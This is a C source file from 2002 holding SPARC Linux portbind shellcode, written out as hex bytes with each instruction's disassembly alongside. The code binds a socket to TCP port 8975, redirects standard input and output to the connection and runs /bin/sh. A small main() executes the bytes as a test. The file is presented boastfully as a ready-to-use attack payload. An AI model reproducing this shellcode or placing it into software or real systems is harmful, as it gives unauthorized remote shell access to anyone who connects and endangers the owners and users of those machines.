/*
 * 0-day portbind shellcode for all those Sun machines running linux..
 * Coded from scratch, so i take all the credits.
 * It simply binds a pretty shell in port 8975/tcp enjoy.
 * no nulls, no fork, no shit, couldn't be more optimized.
 * enjoy!.
 *
 * Arch   : Sparc
 * OS     : Linux
 * Task   : Portbind
 * Length : 284 Bytes
 *
 * Copyright 2002 killah @ hack . gr
 * All rights reserved.
 *
 */

#define NAME "Sparc Linux Portbind"

char portbind[]=
  "\x9d\xe3\xbf\x78"	//	save  %sp, -136, %sp
  "\x90\x10\x20\x02"	//	mov  2, %o0
  "\x92\x10\x20\x01"	//	mov  1, %o1
  "\x94\x22\x80\x0a"	//	sub  %o2, %o2, %o2
  "\xd0\x23\xa0\x44"	//	st  %o0, [ %sp + 0x44 ]
  "\xd2\x23\xa0\x48"	//	st  %o1, [ %sp + 0x48 ]
  "\xd4\x23\xa0\x4c"	//	st  %o2, [ %sp + 0x4c ]
  "\x90\x10\x20\x01"	//	mov  1, %o0
  "\x92\x03\xa0\x44"	//	add  %sp, 0x44, %o1
  "\x82\x10\x20\xce"	//	mov  0xce, %g1
  "\x91\xd0\x20\x10"	//	ta  0x10
  "\xd0\x27\xbf\xf4"	//	st  %o0, [ %fp + -12 ]
  "\x90\x10\x20\x02"	//	mov  2, %o0
  "\xd0\x37\xbf\xd8"	//	sth  %o0, [ %fp + -40 ]
  "\x13\x08\xc8\xc8"	//	sethi  %hi(0x23232000), %o1
  "\x90\x12\x63\x0f"	//	or  %o1, 0x30f, %o0
  "\xd0\x37\xbf\xda"	//	sth  %o0, [ %fp + -38 ]
  "\xc0\x27\xbf\xdc"	//	clr  [ %fp + -36 ]
  "\x92\x07\xbf\xd8"	//	add  %fp, -40, %o1
  "\xd0\x07\xbf\xf4"	//	ld  [ %fp + -12 ], %o0
  "\x94\x10\x20\x10"	//	mov  0x10, %o2
  "\xd0\x23\xa0\x44"	//	st  %o0, [ %sp + 0x44 ]
  "\xd2\x23\xa0\x48"	//	st  %o1, [ %sp + 0x48 ]
  "\xd4\x23\xa0\x4c"	//	st  %o2, [ %sp + 0x4c ]
  "\x90\x10\x20\x02"	//	mov  2, %o0
  "\x92\x03\xa0\x44"	//	add  %sp, 0x44, %o1
  "\x82\x10\x20\xce"	//	mov  0xce, %g1
  "\x91\xd0\x20\x10"	//	ta  0x10
  "\xd0\x07\xbf\xf4"	//	ld  [ %fp + -12 ], %o0
  "\x92\x10\x20\x05"	//	mov  5, %o1
  "\xd0\x23\xa0\x44"	//	st  %o0, [ %sp + 0x44 ]
  "\xd2\x23\xa0\x48"	//	st  %o1, [ %sp + 0x48 ]
  "\x90\x10\x20\x04"	//	mov  4, %o0
  "\x92\x03\xa0\x44"	//	add  %sp, 0x44, %o1
  "\x82\x10\x20\xce"	//	mov  0xce, %g1
  "\x91\xd0\x20\x10"	//	ta  0x10
  "\x92\x07\xbf\xd8"	//	add  %fp, -40, %o1
  "\x94\x07\xbf\xec"	//	add  %fp, -20, %o2
  "\xd0\x07\xbf\xf4"	//	ld  [ %fp + -12 ], %o0
  "\xd0\x23\xa0\x44"	//	st  %o0, [ %sp + 0x44 ]
  "\xd2\x23\xa0\x48"	//	st  %o1, [ %sp + 0x48 ]
  "\xd4\x23\xa0\x4c"	//	st  %o2, [ %sp + 0x4c ]
  "\x90\x10\x20\x05"	//	mov  5, %o0
  "\x92\x03\xa0\x44"	//	add  %sp, 0x44, %o1
  "\x82\x10\x20\xce"	//	mov  0xce, %g1
  "\x91\xd0\x20\x10"	//	ta  0x10
  "\xd0\x27\xbf\xf0"	//	st  %o0, [ %fp + -16 ]
  "\xd0\x07\xbf\xf0"	//	ld  [ %fp + -16 ], %o0
  "\x92\x22\x40\x09"	//	sub  %o1, %o1, %o1
  "\x82\x10\x20\x5a"	//	mov  0x5a, %g1
  "\x91\xd0\x20\x10"	//	ta  0x10
  "\xd0\x07\xbf\xf0"	//	ld  [ %fp + -16 ], %o0
  "\x92\x10\x20\x01"	//	mov  1, %o1
  "\x82\x10\x20\x5a"	//	mov  0x5a, %g1
  "\x91\xd0\x20\x10"	//	ta  0x10
  "\xd0\x07\xbf\xf0"	//	ld  [ %fp + -16 ], %o0
  "\x92\x10\x20\x02"	//	mov  2, %o1
  "\x82\x10\x20\x5a"	//	mov  0x5a, %g1
  "\x91\xd0\x20\x10"	//	ta  0x10
  "\x2d\x0b\xd8\x9a"	//	sethi  %hi(0x2f626800), %l6
  "\xac\x15\xa1\x6e"	//	or  %l6, 0x16e, %l6
  "\x2f\x0b\xdc\xda"	//	sethi  %hi(0x2f736800), %l7
  "\x90\x0b\x80\x0e"	//	and  %sp, %sp, %o0
  "\x92\x03\xa0\x08"	//	add  %sp, 8, %o1
  "\x94\x22\x80\x0a"	//	sub  %o2, %o2, %o2
  "\x9c\x03\xa0\x10"	//	add  %sp, 0x10, %sp
  "\xec\x3b\xbf\xf0"	//	std  %l6, [ %sp + -16 ]
  "\xd0\x23\xbf\xf8"	//	st  %o0, [ %sp + -8 ]
  "\xc0\x23\xbf\xfc"	//	clr  [ %sp + -4 ]
  "\x82\x10\x20\x3b"	//	mov  0x3b, %g1
  "\x91\xd0\x20\x10";	//	ta  0x10

int
main() // test that techno-devil!
{
  int (*funct)();
  funct = (int (*)()) portbind;
  printf("%s shellcode\n\tSize = %d\n",NAME,strlen(portbind));
  (int)(*funct)();
  exit(0);
}


/* EOF */